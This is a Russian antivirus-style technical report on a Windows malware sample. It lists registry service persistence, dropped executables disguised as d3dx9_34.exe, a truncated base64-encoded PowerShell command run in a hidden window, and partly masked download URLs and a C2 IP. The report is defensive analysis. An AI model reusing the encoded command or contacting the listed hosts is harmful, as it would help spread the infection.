Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\d3dx9_34] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\d3dx9_34] 'ImagePath' = '"<SYSTEM32>\KBDHU1\d3dx9_34.exe"'
- 'd3dx9_34' "<SYSTEM32>\KBDHU1\d3dx9_34.exe"
- 'd3dx9_34' <SYSTEM32>\KBDHU1\d3dx9_34.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\pohaen.exe
- <SYSTEM32>\kbdhu1\d3dx9_34.exe
- %TEMP%\word\2019\pohaen.exe в <SYSTEM32>\kbdhu1\d3dx9_34.exe
- '82.##9.200.118':80
- http://sa####amos.com.br/PLcbM/4oxcev0320/
- http://82.##9.200.118/jI1SIvKsRu/9FVP/IujSc67WrMPm6u/r9i5/ny3Tw3WiT1r924gz/
- DNS ASK sa####amos.com.br
- '%TEMP%\word\2019\pohaen.exe'
- '<SYSTEM32>\kbdhu1\d3dx9_34.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...' (со скрытым окном)